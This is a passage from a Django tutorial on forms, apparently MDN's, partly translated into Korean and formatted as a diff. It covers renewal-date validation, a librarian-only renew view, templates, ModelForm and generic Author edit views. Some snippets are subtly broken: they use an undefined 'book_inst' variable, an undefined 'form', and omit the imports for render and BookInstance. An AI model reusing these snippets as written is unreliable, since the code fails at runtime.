+<p>주목해야할 지점이 두개 있다. 첫 번째 지점은 <code>self.cleaned_data['renewal_date']</code> 를 이용하여 데이타를 획득하고 이 데이타의 수정여부에 상관없이 함수가 끝나면 이 데이타를 반환한 다는 것이다. 이 단계는 기본 유효성 검사도구를 이용해 입력값을 "다듬고(cleaned)" 잠재적으로 안전하지 않을 수 있는 입력 값을 정화하며 , 해당 입력값에 맞는 표준 형식으로 변환해준다. ( 이 경우에는 Python  <code>datetime.datetime</code> 객체 형식이다.).</p>
+
+<p>두 번째 지점은 입력값이 지정한 범위를 벗어날 경우 <code>ValidationError</code> 에러를 발생시키고, 유효하지 않은 입력값일 때 폼에 보여주고자 하는 에러 문구를 지정하는 부분이다. 위의 예에서는, <a href="https://docs.djangoproject.com/en/2.0/topics/i18n/translation/">Django의 번역 함수들</a> 중하나인 <code>ugettext_lazy()</code> (<code>_()</code> 로 import 됨)로 이 문구를 감싸고 있는데, 당신의 사이트를 나중에 번역하고자 한다면 좋은 예제가 된다.</p>
+
+<div class="note">
+<p><strong>참고사항:</strong> <a href="https://docs.djangoproject.com/en/2.0/ref/forms/validation/">폼과 필드 유효성 체크</a> (장고 문서임) 에 폼의 유효성 체크에 대한 수많은 다른메소드및 예제가 있다. 예를 들면, 서로 의존관계에 있는 여러개의 필드가 있을 경우,  <a href="https://docs.djangoproject.com/en/2.0/ref/forms/api/#django.forms.Form.clean">Form.clean()</a> 함수를 덮어써서,   <code>ValidationError</code> 를 다시 발생시킬수도 있다.</p>
+</div>
+
+<p>여기까지가 본 예제에서 필요한 폼에 대한 모든 내용이다!</p>
+
+<h3 id="URL_Configuration_작성하기">URL Configuration 작성하기</h3>
+
+<p>뷰를 생성하기 전에, 책 대여갱신 페이지를 위해 URL 설정을 추가 하자. 아래 설정코드를 <strong>locallibrary/catalog/urls.py </strong>아랫 부분에 복사하라.</p>
+
+<pre class="brush: python">urlpatterns += [
+    path('book/&lt;uuid:pk&gt;/renew/', views.renew_book_librarian, name='renew-book-librarian'),
+]</pre>
+
+<p>위 URL 설정코드는 <strong>/catalog/book/<em>&lt;bookinstance id&gt;</em>/renew/</strong> 형식의  URL을 <strong>views.py</strong> 에 있는 <code>renew_book_librarian()</code> 라는 이름의 함수를 호출하고  <code>BookInstance</code> id를 <code>pk</code>라고 이름지은 매개변수로 전송한다. 위 패턴은 <code>pk</code>가 정확히 <code>uuid</code>의 형식일때만 일치한다.</p>
+
+<div class="note">
+<p><strong>주목할점</strong>: 추출된 URL 데이타 "<code>pk</code>" 는 당신 마음대로 이름을 정할 수 있다. 왜냐하면 view 함수에 대해서는 어떤  조작이라도 가능하기 때문이다.  ( 특정 이름을 기대하는 매개변수를 가진 Generic detail view 클래스를 사용하지 않고 있다.) 하지만 <code>pk</code>는 "primary key"의 약자으로 합리적인 관례상 이름이다 !</p>
+</div>
+
+<h3 id="View_작성하기">View 작성하기</h3>
+
+<p>위의 <a href="#django_form_handling_process">Django 폼 처리 과정</a> 에서 설명된대로, 위의 폼 뷰는 첫번째로 호출될 때는 기본 폼을 표시해야 한다. 그리고 나서 데이터가 유효하지 않은 경우 에러 메시지를 재 표시하고, 데이터가 유효한 경우에는 데이타를 처리하고 새로운 페이지를 표시해야 한다. 이런 서로 다른 동작을 수행하기 위해, 해당 뷰가 기본 폼을 표시하도록 현재 첫번째로 호출되고 있는지, 데이터 유효성을 체크하기 위해 연속되어 이어지는 호출인지 알 수 있어야 한다.  </p>
+
+<p>서버에 정보를 제출하는 <code>POST</code>리퀘스트를 사용하는 폼에 대해서, 가장 흔한 패턴은 뷰에서  <code>POST</code> 요청 타입 인지 판단 (<code>if request.method == 'POST':</code>) 하여 유효한 요청 여부를 확인하고 <code>GET</code> ( <code>else</code> 조건으로 ) 요청 타입인 경우 초기 폼 생성을 요청한다. <code>GET</code>요청으로 데이터를 제출하려고 한다면 첫 번째 뷰 호출인지 두 번째 이상의 뷰 호출인지 판단하는 전형적인 접근 방법은 폼 데이터를 읽어보는 (즉 폼에서 숨겨진 값을 읽는)것이다.</p>
+
+<p>책 대여갱신 과정은 데이터베이스에 결과를 보내기 때문에, 관례상 <code>POST</code>요청 방법을 사용한다. 아래 코드는 이런 종류의 function 뷰에 대해 가장 기본적인 형식을 보여준다.</p>
+
+<pre class="brush: python">import datetime
+
+from django.shortcuts import get_object_or_404
+from django.http import HttpResponseRedirect
+from django.urls import reverse
+
+from catalog.forms import RenewBookForm
+
+def renew_book_librarian(request, pk):
+    book_instance = get_object_or_404(BookInstance, pk=pk)
+
+    # POST 요청이면 폼 데이터를 처리한다
+<strong>    if request.method == 'POST':</strong>
+
+        # 폼 인스턴스를 생성하고 요청에 의한 데이타로 채운다 (binding):
+        book_renewal_form = RenewBookForm(request.POST)
+
+        # 폼이 유효한지 체크한다:
+        <strong>if book_renewal_form.is_valid():</strong>
+            # form.cleaned_data 데이타를 요청받은대로 처리한다(여기선 그냥 모델 due_back 필드에 써넣는다)
+            book_instance.due_back = book_renewal_form.cleaned_data['renewal_date']
+            book_instance.save()
+
+            # 새로운 URL로 보낸다:
+            return HttpResponseRedirect(reverse('all-borrowed') )
+
+    # GET 요청 (혹은 다른 메소드)이면 기본 폼을 생성한다.
+<strong>    else:</strong>
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
+        book_renewal_form = RenewBookForm(initial={'renewal_date': proposed_renewal_date})
+
+    context = {
+        'form': book_renewal_form,
+        'book_instance': book_instance,
+    }
+
+    return render(request, 'catalog/book_renew_librarian.html', context)</pre>
+
+<p>첫부분에서는 미리 작성된 폼 (<code>RenewBookForm</code>)을 import 하고 뷰 함수의 내부에서 쓰일 유용한 객체나 메소드를 import 한다:</p>
+
+<ul>
+ <li><code><a href="https://docs.djangoproject.com/en/2.0/topics/http/shortcuts/#get-object-or-404">get_object_or_404()</a></code>: 해당 모델의 기본 키(primary key) 값에 연결되는 특정 객체를 반환하거나 해당 record가 없을경우 <code>Http404</code>예외를 발생시킨다. </li>
+ <li><code><a href="https://docs.djangoproject.com/en/2.0/ref/request-response/#django.http.HttpResponseRedirect">HttpResponseRedirect</a></code>: 특정 URL로의 재전송을 생성한다. (HTTP status code 302). </li>
+ <li><code><a href="https://docs.djangoproject.com/en/2.0/ref/urlresolvers/#django.urls.reverse">reverse()</a></code>: URL 설정(configuration) 의 이름과 전달인자들로 부터 URL을 만들어낸다.  템플릿에서 사용했던 <code>url</code>태그에 해당하는 파이썬 형식의 동일 표현이다.</li>
+ <li><code><a href="https://docs.python.org/3/library/datetime.html">datetime</a></code>: 날짜와 시간을 다루는 파이썬 라이브러리 이다. </li>
+</ul>
+
+<p>뷰 코드는 첫번째로 현재 <code>BookInstance</code>를 얻기위해 <code>get_object_or_404()</code>함수에 <code>pk</code> 전달인자를 사용한다( <code>BookInstance</code>가 없으면 뷰는 그 즉시 완료되며 페이지에는 "발견 하지 못함" 에러가 뜨게된다). <code>POST</code>요청이아니라면 ( <code>else</code>절로 처리되어) <code>renewal_date</code>필드에 대해 <code>initial</code>값을 넘겨주는 기본 폼을 생성한다. ( 기본 값은  아래 코드에서 볼드체로 표시된대로, 현재 날짜로 부터 3주후이다). </p>
+
+<pre class="brush: python">    book_instance = get_object_or_404(BookInstance, pk=pk)
+
+    # GET 요청(혹은 다른 메소드)이면 기본 폼을 생성한다.
+    <strong>else:</strong>
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(<strong>weeks=3</strong>)
+        <strong>book_renewal_form = RenewBookForm(initial={'</strong>renewal_date<strong>': </strong>proposed_renewal_date<strong>})</strong>
+
+    context = {
+        'form': book_renewal_form,
+        'book_instance': book_instance,
+    }
+
+    return render(request, 'catalog/book_renew_librarian.html', context)</pre>
+
+<p>폼을 생성한이후, HTML 페이지를 생성하기 위해 <code>render()</code>를 호출하는데, 이 함수에서 템플릿과 폼을 포함하는 context를 특정한다. 이 경우에 context는 <code>BookInstance</code> 또한 포함하는데, <code>BookInstance</code>는 갱신하고자 하는 책의 정보를 템플릿에 제공하는데 사용한다.</p>
+
+<p>하지만 <code>POST</code>요청이라면, <code>form</code>객체를 생성하고 <code>POST</code>요청에서의 데이터로 <code>form</code>을 채운다. 이 처리과정은 "binding"으로 불리며 폼의 유효성 체크를 할수 있도록 해준다. 여기에서 모든 필드에 관련된 유효성 체크 코드 - 날짜필드가 실제상황에서 유효한 값을 가지는지 체크하는 일반적인 코드와 날짜가 정해진 범위의 값을 가지는지 체크하는 폼의 특별한 함수인 <code>clean_renewal_date()</code> 를 포함하는 코드 -  를 실행하며 폼의 데이타가 유효한지 체크한다.  </p>
+
+<pre class="brush: python">    book_instance = get_object_or_404(BookInstance, pk=pk)
+
+    # POST 요청이면 폼 데이터를 처리한다
+    if request.method == 'POST':
+
+        # 폼 인스턴스를 생성하고 요청에 의한 데이타로 채운다 (binding):
+<strong>        book_renewal_form = RenewBookForm(request.POST)</strong>
+
+        # 폼이 유효한지 체크한다:
+        if book_renewal_form.is_valid():
+            # form.cleaned_data 데이타를 요청받은대로 처리한다(여기선 그냥 모델 due_back 필드에 써넣는다)
+            book_inst.due_back = form.cleaned_data['renewal_date']
+            book_inst.save()
+
+            # 새로운 URL로 보낸다:
+            return HttpResponseRedirect(reverse('all-borrowed') )
+
+    context = {
+        'form': book_renewal_form,
+        'book_instance': book_instance,
+    }
+
+    return render(request, 'catalog/book_renew_librarian.html', context)</pre>
+
+<p>폼의 데이터가 유효하지 않다면 <code>render()</code>함수가 다시 호출된다. 하지만 이번에 context로 넘겨지는 폼의 값에는 에러메시지가 포함될 것이다.  </p>
+
+<p>폼의 데이터가 유효하다면, <code>form.cleaned_data</code>속성을 통해 데이타 사용을 시작할수 있다(즉, 다음과 같다. <code>data = form.cleaned_data['renewal_date']</code>). 여기에서는 단지 폼 데이터를 <code>BookInstance</code>객체에 관련된 <code>due_back</code>변수에 저장했다. </p>
+
+<div class="warning">
+<p><strong>중요사항</strong>: 'request'객체를 통해 직접 폼 데이터를 가져올수는 있으나 ( 예를 들면 <code>request.POST['renewal_date']</code>나 GET 요청인경우 <code>request.GET['renewal_date']</code>처럼), 이 방식은 <strong>절대</strong> 추천하지 않는다. 위 코드에서 깔끔한 데이타(cleaned_data)란 것은  정제되고(sanitised), 유효성체크가되고, 파이썬에서 많이쓰는 타입의 데이타이다.</p>
+</div>
+
+<p>뷰에서 폼 처리의 마지막 단계는 , 대개는 "Success" 페이지라는 다른 페이지로 주소를 바꾸는 것이다. 여기서는 <code>'all-borrowed'</code>라는 뷰( 이 뷰는 <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django 튜토리얼 파트 8: 사용자 인증과 사용권한</a> 파트에서 "도전과제로" 생성했었다) 로 주소를 바꾸기 위해 <code>HttpResponseRedirect</code>와 <code>reverse()</code>를 사용한다. 당신이 이 페이지를 생성하지 않았다면 URL 주소가 '/'인 홈페이지로 주소를 변경하는 것을 고려해보자.</p>
+
+<p>여기까지가 폼을 다루기 위해 필요한 모든 것이지만, 해당 폼 뷰의 사용권한을 도서관사서로 한정해야 하는 문제가 남아있다. <code>BookInstance</code>모델에 "<code>can_renew</code>"라는 새로운 사용권한을 추가해야 하겠지만, 작업을 간단하게 하기위해  그냥 기존의 사용권한<code>can_mark_returned</code>에 함수 데코레이터<code>@permission_required</code>를 사용하도록 하겠다.</p>
+
+<p>그러므로 최종 뷰의 코드는 다음과 같다. 이 코드를 <strong>locallibrary/catalog/views.py</strong> 의 아랫부분에 복사해넣어라.</p>
+
+<pre class="brush: python">import datetime
+
+<strong>from django.contrib.auth.decorators import permission_required</strong>
+from django.shortcuts import get_object_or_404
+from django.http import HttpResponseRedirect
+from django.urls import reverse
+
+from catalog.forms import RenewBookForm
+
+<strong>@permission_required('catalog.<code>can_mark_returned</code>')</strong>
+def renew_book_librarian(request, pk):
+    """도서관 사서에 의해 특정 BookInstance를 갱신하는 뷰 함수."""
+    book_instance = get_object_or_404(BookInstance, pk=pk)
+
+    # POST 요청이면 폼 데이터를 처리한다
+    if request.method == 'POST':
+
+        # 폼 인스턴스를 생성하고 요청에 의한 데이타로 채운다 (binding):
+        book_renewal_form = RenewBookForm(request.POST)
+
+        # 폼이 유효한지 체크한다:
+        if book_renewal_form.is_valid():
+            # book_renewal_form.cleaned_data 데이타를 요청받은대로 처리한다(여기선 그냥 모델 due_back 필드에 써넣는다)
+            book_inst.due_back = book_renewal_form.cleaned_data['renewal_date']
+            book_inst.save()
+
+            # 새로운 URL로 보낸다:
+            return HttpResponseRedirect(reverse('all-borrowed') )
+
+    # GET 요청(혹은 다른 메소드)이면 기본 폼을 생성한다.
+    else:
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
+        book_renewal_form = RenewBookForm(initial={'renewal_date': proposed_renewal_date})
+
+    context = {
+        'form': book_renewal_form,
+        'book_instance': book_instance,
+    }
+
+    return render(request, 'catalog/book_renew_librarian.html', context)
+</pre>
+
+<h3 id="Template_작성하기">Template 작성하기</h3>
+
+<p>뷰 에서 참조되는 템플릿 (<strong>/catalog/templates/catalog/book_renew_librarian.html</strong>)을 생성하고 아래 코드를 복사해넣어라 :</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+    &lt;h1&gt;Renew: \{{ book_instance.book.title }}&lt;/h1&gt;
+    &lt;p&gt;Borrower: \{{ book_instance.borrower }}&lt;/p&gt;
+    &lt;p{% if book_instance.is_overdue %} class="text-danger"{% endif %}&gt;Due date: \{{book_instance.due_back}}&lt;/p&gt;
+
+<strong>    &lt;form action="" method="post"&gt;
+        {% csrf_token %}
+        \{{ form.as_table }}
+        &lt;input type="submit" value="Submit"&gt;
+    &lt;/form&gt;</strong>
+{% endblock %}</pre>
+
+<p>이 작업의 대부분은 앞선 튜토리얼에서 익숙해진 작업이다. 우리는 베이스 템플릿을 확장하고 콘텐츠 블럭을 재설정한다.  <code>\{{bookinst}}</code>(와 그에 따른 변수) 가  <code>render()</code> 함수 내의 컨텍스트 객체로 넘겨졌기 때문에 <code>\{{bookinst}}</code>를 참조할수 있다. 이들을 이용해 책 제목, 대여자 그리고 이전 대여마감일의 목록을 열거한다.</p>
+
+<p>폼 코드는 상대적으로 간단하다. 우선 form이 어디에 제출될 것인지(<code>action</code>)(POST인지 PUT인지) 명시하여 <code>form</code> 태그를 선언하고, 데이터를 제출하는 <code>method</code> 를 명시한다(이 경우에는 "HTTP POST") — 해당 페이지 위 쪽의 <a href="#HTML_forms">HTML Forms</a> overview에서 보았듯이,  <code>action</code>을 비워 놓았는데, 이렇게 하면 form 데이터가 현재 URL페이지로 다시 POST 된다(지금 우리가 하고자 하는 것입니다!). <code>form</code> 태그 안에는 <code>submit</code> input 태그 또한 만들어서 페이지 사용자가 눌러서 데이터를 제출(submit)할 수 있도록 한다. <code>form</code> 태그 안에정의된 또 다른 하나인 <code>{% csrf_token %}</code>는 Django의 cross-site 위조 방지의 방식 중 하나이다. </p>
+
+<div class="note">
+<p><strong>Note:</strong> Add the <code>{% csrf_token %}</code> to every Django template you create that uses <code>POST</code> to submit data. This will reduce the chance of forms being hijacked by malicious users.</p>
+</div>
+
+<p>마지막으로 템플릿에 context라는 dictionary형 데이터로 넘기는 <code>\{{form}}</code> 변수가 남았다. 별로 놀랍지 않을 수 있지만, 아래처럼 하면 form의 모든 field의 필드, 위젯, 도움말을 함께 렌더링하는 기본 렌더링기능을 사용할 수 있다 — 렌더링된 결과는 다음과 같다.</p>
+
+<pre class="brush: html">&lt;tr&gt;
+  &lt;t&gt;&lt;label for="id_renewal_date"&gt;Renewal date:&lt;/label&gt;&lt;/th&gt;
+  &lt;td&gt;
+    &lt;input id="id_renewal_date" name="renewal_date" type="text" value="2016-11-08" required /&gt;
+    &lt;br /&gt;
+    &lt;span class="helptext"&gt;Enter date between now and 4 weeks (default 3 weeks).&lt;/span&gt;
+  &lt;/td&gt;
+&lt;/tr&gt;
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> 필드가 하나만 있기 때문에 분명하지는 않지만 기본적으로 모든 필드는 자체 테이블 행에 정의되어 있습니다. 템플릿 변수 <code>\{{ form.as_table }}</code>을 참조하면이 동일한 렌더링이 제공됩니다. </p>
+</div>
+
+<p>유효하지 않은 날짜를 입력하는 경우 페이지에서 렌더링 된 오류 목록 (아래 굵게 표시)을 얻게됩니다.</p>
+
+<pre class="brush: html">&lt;tr&gt;
+  &lt;th&gt;&lt;label for="id_renewal_date"&gt;Renewal date:&lt;/label&gt;&lt;/th&gt;
+   &lt;td&gt;
+<strong>      &lt;ul class="errorlist"&gt;
+        &lt;li&gt;Invalid date - renewal in past&lt;/li&gt;
+      &lt;/ul&gt;</strong>
+      &lt;input id="id_renewal_date" name="renewal_date" type="text" value="2015-11-08" required /&gt;
+      &lt;br /&gt;
+      &lt;span class="helptext"&gt;Enter date between now and 4 weeks (default 3 weeks).&lt;/span&gt;
+    &lt;/td&gt;
+&lt;/tr&gt;</pre>
+
+<h4 id="Form_template_variable을_사용하는_다른_방법">Form template variable을 사용하는 다른 방법</h4>
+
+<p>위와 같이 <code>\{{form.as_table</code><code>}}</code> 을 사용하면 각 필드가 테이블 행으로 렌더링됩니다. 또한 각 필드를 <code>\{{form.as_ul}}</code> 을 사용하여 목록항목(list item)으로 렌더링하거나 <code>\{{form.as_p}}</code>를 사용하여 단락(paragraph)으로 렌더링 할 수도 있습니다.</p>
+
+<p>또한 dot notation을 사용하여 form 속성을 인덱싱하여 각 부분 렌더링을 완벽하게 제어 할 수도 있습니다. 예를 들어, <code>renewal_date</code> 필드에 대한 여러 개의 개별 항목에 접근 할 수 있습니다.</p>
+
+<ul>
+ <li><code>\{{form.renewal_date}}:</code> The whole field.</li>
+ <li><code>\{{form.renewal_date.errors}}</code>: The list of errors.</li>
+ <li><code>\{{form.renewal_date.id_for_label}}</code>: The id of the label.</li>
+ <li><code>\{{form.renewal_date.help_text}}</code>: The field help text.</li>
+</ul>
+
+<p>템플릿의 양식을 수동으로 렌더링하고 템플릿 필드를 동적으로 반복하는 방법에 대한 자세한 예제는, <a href="https://docs.djangoproject.com/en/2.0/topics/forms/#rendering-fields-manually">Working with forms &gt; Rendering fields manually</a> (Django docs)를 참고.</p>
+
+<h3 id="Page를_시험하기">Page를 시험하기</h3>
+
+<p>If you accepted the "challenge" in <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django Tutorial Part 8: User authentication and permissions</a> you'll have a list of all books on loan in the library, which is only visible to library staff. We can add a link to our renew page next to each item using the template code below.</p>
+
+<pre class="brush: html">{% if perms.catalog.can_mark_returned %}- &lt;a href="{% url 'renew-book-librarian' bookinst.id %}"&gt;Renew&lt;/a&gt;  {% endif %}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Remember that your test login will need to have the permission "<code>catalog.can_mark_returned</code>" in order to access the renew book page (perhaps use your superuser account).</p>
+</div>
+
+<p>You can alternatively manually construct a test URL like this — <a href="http://127.0.0.1:8000/catalog/book/&lt;bookinstance id>/renew/">http://127.0.0.1:8000/catalog/book/<em>&lt;bookinstance_id&gt;</em>/renew/</a> (a valid bookinstance id can be obtained by navigating to a book detail page in your library, and copying the <code>id</code> field).</p>
+
+<h3 id="What_does_it_look_like">What does it look like?</h3>
+
+<p>If you are successful, the default form will look like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14209/forms_example_renew_default.png" style="border-style: solid; border-width: 1px; display: block; height: 292px; margin: 0px auto; width: 680px;"></p>
+
+<p>The form with an invalid value entered, will look like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14211/forms_example_renew_invalid.png" style="border-style: solid; border-width: 1px; display: block; height: 290px; margin: 0px auto; width: 658px;"></p>
+
+<p>The list of all books with renew links will look like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14207/forms_example_renew_allbooks.png" style="border-style: solid; border-width: 1px; display: block; height: 256px; margin: 0px auto; width: 613px;"></p>
+
+<h2 id="ModelForms">ModelForms</h2>
+
+<p>Creating a <code>Form</code> class using the approach described above is very flexible, allowing you to create whatever sort of form page you like and associate it with any model or models.</p>
+
+<p>However if you just need a form to map the fields of a <em>single</em> model then your model will already define most of the information that you need in your form: fields, labels, help text, etc. Rather than recreating the model definitions in your form, it is easier to use the <a href="https://docs.djangoproject.com/en/2.0/topics/forms/modelforms/">ModelForm</a> helper class to create the form from your model. This <code>ModelForm</code> can then be used within your views in exactly the same way as an ordinary <code>Form</code>.</p>
+
+<p>A basic <code>ModelForm</code> containing the same field as our original <code>RenewBookForm</code> is shown below. All you need to do to create the form is add <code>class Meta</code> with the associated <code>model</code> (<code>BookInstance</code>) and a list of the model <code>fields</code> to include in the form (you can include all fields using <code>fields = '__all__'</code>, or you can use <code>exclude</code> (instead of <code>fields</code>) to specify the fields <em>not </em>to include from the model).</p>
+
+<pre class="brush: python">from django.forms import ModelForm
+from .models import BookInstance
+
+class RenewBookModelForm(ModelForm):
+<strong>    class Meta:
+        model = BookInstance
+        fields = ['due_back',]</strong>
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: This might not look like all that much simpler than just using a <code>Form</code> (and it isn't in this case, because we just have one field). However if you have a lot of fields, it can reduce the amount of code quite significantly!</p>
+</div>
+
+<p>The rest of the information comes from the model field definitions (e.g. labels, widgets, help text, error messages). If these aren't quite right, then we can override them in our <code>class Meta</code>, specifying a dictionary containing the field to change and its new value. For example, in this form we might want a label for our field of "<em>Renewal date</em>" (rather than the default based on the field name: <em>Due date</em>), and we also want our help text to be specific to this use case. The <code>Meta</code> below shows you how to override these fields, and you can similarly set <code>widgets</code> and <code>error_messages</code> if the defaults aren't sufficient.</p>
+
+<pre class="brush: python">class Meta:
+    model = BookInstance
+    fields = ['due_back',]
+<strong>    labels = { 'due_back': _('Renewal date'), }
+    help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), } </strong>
+</pre>
+
+<p>To add validation you can use the same approach as for a normal <code>Form</code> — you define a function named <code>clean_<em>field_name</em>()</code> and raise <code>ValidationError</code> exceptions for invalid values. The only difference with respect to our original form is that the model field is named <code>due_back</code> and not "<code>renewal_date</code>".</p>
+
+<pre class="brush: python">from django.forms import ModelForm
+from .models import BookInstance
+
+class RenewBookModelForm(ModelForm):
+<strong>    def clean_due_back(self):
+       data = self.cleaned_data['due_back']
+
+       #Check date is not in past.
+       if data &lt; datetime.date.today():
+           raise ValidationError(_('Invalid date - renewal in past'))
+
+       #Check date is in range librarian allowed to change (+4 weeks)
+       if data &gt; datetime.date.today() + datetime.timedelta(weeks=4):
+           raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))
+
+       # Remember to always return the cleaned data.
+       return data
+</strong>
+    class Meta:
+        model = BookInstance
+        fields = ['due_back',]
+        labels = { 'due_back': _('Renewal date'), }
+        help_texts = { 'due_back': _('Enter a date between now and 4 weeks (default 3).'), }
+</pre>
+
+<p>The class <code>RenewBookModelForm</code> below is now functionally equivalent to our original <code>RenewBookForm</code>. You could import and use it wherever you currently use <code>RenewBookForm</code>.</p>
+
+<h2 id="Generic_editing_views">Generic editing views</h2>
+
+<p>The form handling algorithm we used in our function view example above represents an extremely common pattern in form editing views. Django abstracts much of this "boilerplate" for you, by creating <a href="https://docs.djangoproject.com/en/2.0/ref/class-based-views/generic-editing/">generic editing views</a> for creating, editing, and deleting views based on models. Not only do these handle the "view" behaviour, but they automatically create the form class (a <code>ModelForm</code>) for you from the model.</p>
+
+<div class="note">
+<p><strong>Note: </strong>In addition to the editing views described here, there is also a <a href="https://docs.djangoproject.com/en/2.0/ref/class-based-views/generic-editing/#formview">FormView</a> class, which lies somewhere between our function view and the other generic views in terms of "flexibility" vs "coding effort". Using <code>FormView</code> you still need to create your <code>Form</code>, but you don't have to implement all of the standard form-handling pattern. Instead you just have to provide an implementation of the function that will be called once the submitted is known to be be valid.</p>
+</div>
+
+<p>In this section we're going to use generic editing views to create pages to add functionality to create, edit, and delete <code>Author</code> records from our library — effectively providing a basic reimplementation of parts of the Admin site (this could be useful if you need to offer admin functionality in a more flexible way that can be provided by the admin site).</p>
+
+<h3 id="Views">Views</h3>
+
+<p>Open the views file (<strong>locallibrary/catalog/views.py</strong>) and append the following code block to the bottom of it:</p>
+
+<pre class="brush: python">from django.views.generic.edit import CreateView, UpdateView, DeleteView
+from django.urls import reverse_lazy
+from .models import Author
+
+class AuthorCreate(CreateView):
+    model = Author
+    fields = '__all__'
+    initial={'date_of_death':'05/01/2018',}
+
+class AuthorUpdate(UpdateView):
+    model = Author
+    fields = ['first_name','last_name','date_of_birth','date_of_death']
+
+class AuthorDelete(DeleteView):
+    model = Author
+    success_url = reverse_lazy('authors')</pre>
+
+<p>As you can see, to create the views you need to derive from <code>CreateView</code>, <code>UpdateView</code>, and <code>DeleteView</code> (respectively) and then define the associated model.</p>
+
+<p>For the "create" and "update" cases you also need to specify the fields to display in the form (using in same syntax as for <code>ModelForm</code>). In this case we show both the syntax to display "all" fields, and how you can list them individually. You can also specify initial values for each of the fields using a dictionary of <em>field_name</em>/<em>value</em> pairs (here we arbitrarily set the date of death for demonstration purposes — you might want to remove that!). By default these views will redirect on success to a page displaying the newly created/edited model item, which in our case will be the author detail view we created in a previous tutorial. You can specify an alternative redirect location by explicitly declaring parameter <code>success_url</code> (as done for the <code>AuthorDelete</code> class).</p>
+
+<p>The <code>AuthorDelete</code> class doesn't need to display any of the fields, so these don't need to be specified. You do however need to specify the <code>success_url</code>, because there is no obvious default value for Django to use. In this case we use the <code><a href="https://docs.djangoproject.com/en/2.0/ref/urlresolvers/#reverse-lazy">reverse_lazy()</a></code> function to redirect to our author list after an author has been deleted — <code>reverse_lazy()</code> is a lazily executed version of <code>reverse()</code>, used here because we're providing a URL to a class-based view attribute.</p>
+
+<h3 id="Templates">Templates</h3>
+
+<p>The "create" and "update" views use the same template by default, which will be named after your model: <em>model_name</em><strong>_form.html</strong> (you can change the suffix to something other than <strong>_form</strong> using the <code>template_name_suffix</code> field in your view, e.g. <code>template_name_suffix = '_other_suffix'</code>)</p>
+
+<p>Create the template file <strong>locallibrary/catalog/templates/catalog/author_form.html</strong> and copy in the text below.</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+
+&lt;form action="" method="post"&gt;
+    {% csrf_token %}
+    &lt;table&gt;
+    \{{ form.as_table }}
+    &lt;/table&gt;
+    &lt;input type="submit" value="Submit" /&gt;
+
+&lt;/form&gt;
+{% endblock %}</pre>
+
+<p>This is similar to our previous forms, and renders the fields using a table. Note also how again we declare the <code>{% csrf_token %}</code> to ensure that our forms are resistant to CSRF attacks.</p>
+
+<p>The "delete" view expects to find a template named with the format <em>model_name</em><strong>_confirm_delete.html</strong> (again, you can change the suffix using <code>template_name_suffix</code> in your view). Create the template file <strong>locallibrary/catalog/templates/catalog/author_confirm_delete</strong><strong>.html</strong> and copy in the text below.</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+
+&lt;h1&gt;Delete Author&lt;/h1&gt;
+
+&lt;p&gt;Are you sure you want to delete the author: \{{ author }}?&lt;/p&gt;
+
+&lt;form action="" method="POST"&gt;
+  {% csrf_token %}
+  &lt;input type="submit" action="" value="Yes, delete." /&gt;
+&lt;/form&gt;
+
+{% endblock %}
+</pre>
+
+<h3 id="URL_configurations">URL configurations</h3>
+
+<p>Open your URL configuration file (<strong>locallibrary/catalog/urls.py</strong>) and add the following configuration to the bottom of the file:</p>
+
+<pre class="brush: python">urlpatterns += [
+    path('author/create/', views.AuthorCreate.as_view(), name='author_create'),
+    path('author/&lt;int:pk&gt;/update/', views.AuthorUpdate.as_view(), name='author_update'),
+    path('author/&lt;int:pk&gt;/delete/', views.AuthorDelete.as_view(), name='author_delete'),
+]</pre>
+
+<p>There is nothing particularly new here! You can see that the views are classes, and must hence be called via <code>.as_view()</code>, and you should be able to recognise the URL patterns in each case. We must use <code>pk</code> as the name for our captured primary key value, as this is the parameter name expected by the view classes.</p>
+
+<p>The author create, update, and delete pages are now ready to test (we won't bother hooking them into the site sidebar in this case, although you can do so if you wish).</p>
+
+<div class="note">
+<p><strong>Note</strong>: Observant users will have noticed that we didn't do anything to prevent unauthorised users from accessing the pages! We leave that as an exercise for you (hint: you could use the <code>PermissionRequiredMixin</code> and either create a new permission or reuse our <code>can_mark_returned</code> permission).</p>
+</div>
+
+<h3 id="Testing_the_page">Testing the page</h3>
+
+<p>First login to the site with an account that has whatever permissions you decided are needed to access the author editing pages.</p>
+
+<p>Then navigate to the author create page: <a href="http://127.0.0.1:8000/catalog/author/create/">http://127.0.0.1:8000/catalog/author/create/</a>, which should look like the screenshot below.</p>
+
+<p><img alt="Form Example: Create Author" src="https://mdn.mozillademos.org/files/14223/forms_example_create_author.png" style="border-style: solid; border-width: 1px; display: block; height: 184px; margin: 0px auto; width: 645px;"></p>
+
+<p>Enter values for the fields and then press <strong>Submit</strong> to save the author record. You should now be taken to a detail view for your new author, with a URL of something like <em>http://127.0.0.1:8000/catalog/author/10</em>.</p>
+
+<p>You can test editing records by appending <em>/update/</em> to the end of the detail view URL (e.g. <em>http://127.0.0.1:8000/catalog/author/10/update/</em>) — we don't show a screenshot, because it looks just like the "create" page!</p>
+
+<p>Last of all we can delete the page, by appending delete to the end of the author detail-view URL (e.g. <em>http://127.0.0.1:8000/catalog/author/10/delete/</em>). Django should display the delete page shown below. Press <strong>Yes, delete.</strong> to remove the record and be taken to the list of all authors.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14221/forms_example_delete_author.png" style="border-style: solid; border-width: 1px; display: block; height: 194px; margin: 0px auto; width: 561px;"></p>
+
+
+
+<h2 id="Challenge_yourself">Challenge yourself</h2>
+
